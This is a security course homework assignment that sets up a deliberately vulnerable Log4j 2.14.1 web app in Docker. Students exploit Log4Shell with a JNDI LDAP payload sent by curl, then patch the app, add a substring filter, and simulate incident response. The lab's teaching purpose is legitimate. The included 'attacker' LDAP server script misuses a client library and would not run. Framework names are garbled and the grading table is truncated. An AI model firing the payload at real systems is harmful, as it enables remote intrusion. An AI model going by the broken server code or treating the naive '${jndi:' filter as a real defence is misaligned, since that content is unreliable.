Homework-9: Securing Systems Against Log4Shell Exploits Using Docker and MITRE Frameworks

Objective

In this assignment, you will set up a Docker-based environment to exploit the Log4Shell vulnerability (CVE-2021-44228), apply defenses, and simulate an incident response. You'll use the MITRE ATT&CK, DEFEND, and REACT frameworks to gain practical experience in vulnerability exploitation, mitigation, and response.

Part 1: Environment Setup and Exploitation (MITRE ATT&CK)

Step 1: Set Up the Vulnerable Environment

Task: Deploy a Java application with a vulnerable Log4j version (2.14.1) using Docker Compose.

Instructions

1. **Create a Directory Structure**:
    - Create a project folder (e.g., `log4shell-homework`) and navigate into it:

      ```
      mkdir log4shell-homework
      cd log4shell-homework
      ```

2. **Write a Simple Java Web Application**:

- Use Spring Boot to create a basic web app that logs user input using a vulnerable Log4j version.
- Create a file named `pom.xml` for Maven dependencies.

pom.xml:

```
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0
http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <groupId>com.example</groupId>
    <artifactId>log4shell-demo</artifactId>
    <version>0.0.1-SNAPSHOT</version>
    <packaging>jar</packaging>

    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.5.5</version>
    </parent>

    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.14.1</version>
        </dependency>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.14.1</version>
        </dependency>
    </dependencies>

    <build>
        <plugins>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-
```

```
plugin</artifactId>
            </plugin>
        </plugins>
    </build>
</project>
```

- Create a Java class at `src/main/java/com/example/LogController.java`.

LogController.java:

```
package com.example;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.springframework.web.bind.annotation.*;

@RestController
public class LogController {
    private static final Logger logger =
LogManager.getLogger(LogController.class);

    @PostMapping("/log")
    public String logInput(@RequestBody String input) {
        logger.info("User input: " + input);
        return "Logged: " + input;
    }
}
```

3. **Dockerize the Application**:

   - Create a `Dockerfile` in the project root.

   Dockerfile:

```
FROM maven:3.8.5-openjdk-11 AS build
WORKDIR /app
COPY . .
RUN mvn clean package -DskipTests

FROM openjdk:11-jre-slim
WORKDIR /app
COPY --from=build /app/target/log4shell-demo-0.0.1-SNAPSHOT.jar
/app.jar
```

```
ENTRYPOINT ["java", "-jar", "/app.jar"]
```

4. **Set Up Docker Compose**:
   - Create a `docker-compose.yml` file.

   docker-compose.yml:

```
version: '3'
services:
  app:
    build: .
    ports:
      - "8080:8080"
```

5. **Build and Run**:
   - Execute the following commands:

```
docker-compose up --build
```

   - Verify the app is running by visiting `http://localhost:8080` in a browser or using `curl`.

6. **Explanation**:
   - The app uses Log4j 2.14.1, which is vulnerable to Log4Shell.
   - The `/log` endpoint logs any input sent via a POST request, making it exploitable.

Step 2: Exploit the Vulnerability (MITRE ATT&CK)

Task: Exploit Log4Shell by sending a malicious payload.

Instructions

1. **Set Up an Attacker Server**:
   - Install Python and the `ldap3` package:

```
pip install ldap3
```

- Create a file named `ldap_server.py`.

ldap_server.py:

```
from ldap3 import Server, Connection, ALL

server = Server('ldap://0.0.0.0:389', get_info=ALL)
connection = Connection(server, auto_bind=True)
print("LDAP server started on port 389. Waiting for
connections...")
connection.serve_forever()
```

- Run the server in a separate terminal:

```
python ldap_server.py
```

2. **Craft and Send the Payload**:
   - Use `curl` to send a malicious JNDI payload to the app:

```
curl -X POST http://localhost:8080/log -d
'${jndi:ldap://host.docker.internal:389/a}'
```

   - Note: `host.docker.internal` allows the container to reach the host machine's LDAP server.
3. **Observe the Exploit**:
   - Check the LDAP server terminal for a connection, indicating the exploit succeeded.
4. **Explanation**:
   - The payload `${jndi:ldap://...}` triggers Log4j to perform a JNDI lookup, contacting the attacker's LDAP server.
   - This maps to MITRE ATT&CK **Tactic**: Initial Access (TA0001) and **Technique**: Exploit Public-Facing Application (T1190).

Part 2: Defending Against Log4Shell (MITRE DEFEND)

Step 3: Apply Security Controls

Task: Mitigate the vulnerability with updates and controls.

Instructions

1. **Update Log4j**:
   - Edit `pom.xml` to use a secure version (e.g., 2.17.0):

```
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.17.0</version>
</dependency>
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-api</artifactId>
    <version>2.17.0</version>
</dependency>
```

2. **Add Input Validation**:
   - Update `LogController.java` to block JNDI patterns:

```
package com.example;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.springframework.web.bind.annotation.*;

@RestController
public class LogController {
    private static final Logger logger =
LogManager.getLogger(LogController.class);

    @PostMapping("/log")
    public String logInput(@RequestBody String input) {
        if (input.contains("${jndi:")) {
```

```
            return "Invalid input detected";
        }
        logger.info("User input: " + input);
        return "Logged: " + input;
    }
}
```

3. **Redeploy**:
    - Rebuild and restart the app:

```
docker-compose down
docker-compose up --build
```

4. **Explanation**:
    - Log4j 2.17.0 fixes the vulnerability.
    - Input validation adds an extra layer of defense.
    - This aligns with MITRE DEFEND's focus on vulnerability management.

Step 4: Test the Defenses

Task: Verify the exploit no longer works.

Instructions

1. **Resend the Payload**:
    - Run the same `curl` command:

```
curl -X POST http://localhost:8080/log -d
'${jndi:ldap://host.docker.internal:389/a}'
```

2. **Check Results**:
    - The app should return "Invalid input detected," and the LDAP server should receive no connection.

3. **Test Normal Input**:
    - Send a benign request:

      ```
      curl -X POST http://localhost:8080/log -d 'Hello, world!'
      ```

    - Ensure it logs correctly.

Part 3: Incident Response (MITRE REACT)

Step 5: Simulate Incident Response

Task: Respond to the exploit using the MITRE REACT framework.

Instructions

1. **Detect**:
    - Check Docker logs for the original exploit attempt:

      ```
      docker logs <container_name>
      ```

    - Look for `${jndi:` in the logs.
2. **Contain**:
    - Stop the vulnerable container:

      ```
      docker-compose down
      ```

3. **Eradicate**:
    - Confirm no malicious processes remain by inspecting the stopped container:

      ```
      docker ps -a
      ```

4. **Recover**:

- Deploy the patched app (already done in Step 3).
- Test with normal input to ensure functionality.

5. **Explanation**:
   - **Detect**: Identified the attack via logs.
   - **Contain**: Isolated the system by stopping the container.
   - **Eradicate**: Ensured no residual threats.
   - **Recover**: Restored a secure version.

Deliverables

1. **GitHub Repository**:
   - Include `pom.xml`, `LogController.java`, `Dockerfile`, `docker-compose.yml`, `ldap_server.py`, and a `README.md` with setup instructions.
2. **Screen Recording**:
   - Record a 5-10 minute video showing setup, exploitation, mitigation, and testing.
3. **Report**:
   - Write a 2-3 page PDF with:
     - Architecture diagram (app and LDAP server).
     - Exploit explanation.
     - Mitigation and response summary.

Grading Rubric

Category	Points	Excellent (90–100%)	Good (80–89%)	Satisfa (70–7
		Fully functional Docker		

Environment Setup	20	environment with clear, detailed instructions. All components (Java app, Log4j, Docker Compose) are correctly configured and documented.	Mostly functional setup with minor configuration issues. Instructions are clear but may lack some details.	Basic se with sor errors. Instruct are pres but inco or uncle
Exploitation	25	Successfully exploits the vulnerability with clear, thorough documentation. Demonstrates deep understanding of the attack vector and accurate MITRE ATT&CK mapping.	Exploit works but with minor issues. Documentation is mostly clear but lacks some details.	Exploit partially or has significa issues. Docume is basic may cor errors.
Defense Implementation	25	Effectively mitigates the vulnerability with appropriate controls (e.g., patching, input validation). Demonstrates clear	Applies some controls but with minor gaps. Explanation is mostly clear but lacks	Basic co applied some er Explana present lacks cl detail.

		understanding of MITRE DEFEND principles.	depth.	
Incident Response	20	Simulates a complete incident response using MITRE REACT. All steps (Detect, Contain, Eradicate, Recover) are clearly demonstrated and documented.	Simulates most steps with minor omissions. Documentation is mostly clear but lacks some details.	Simulat some st with sig gaps. Docume is basic may co errors.
Documentation and Reporting	10	Comprehensive GitHub repo, clear screen recording, and insightful report. All components are well-organized and easy to follow.	Good repo and recording with minor issues. Report is mostly clear but lacks some depth.	Basic re recordi some g Report i present lacks cl detail.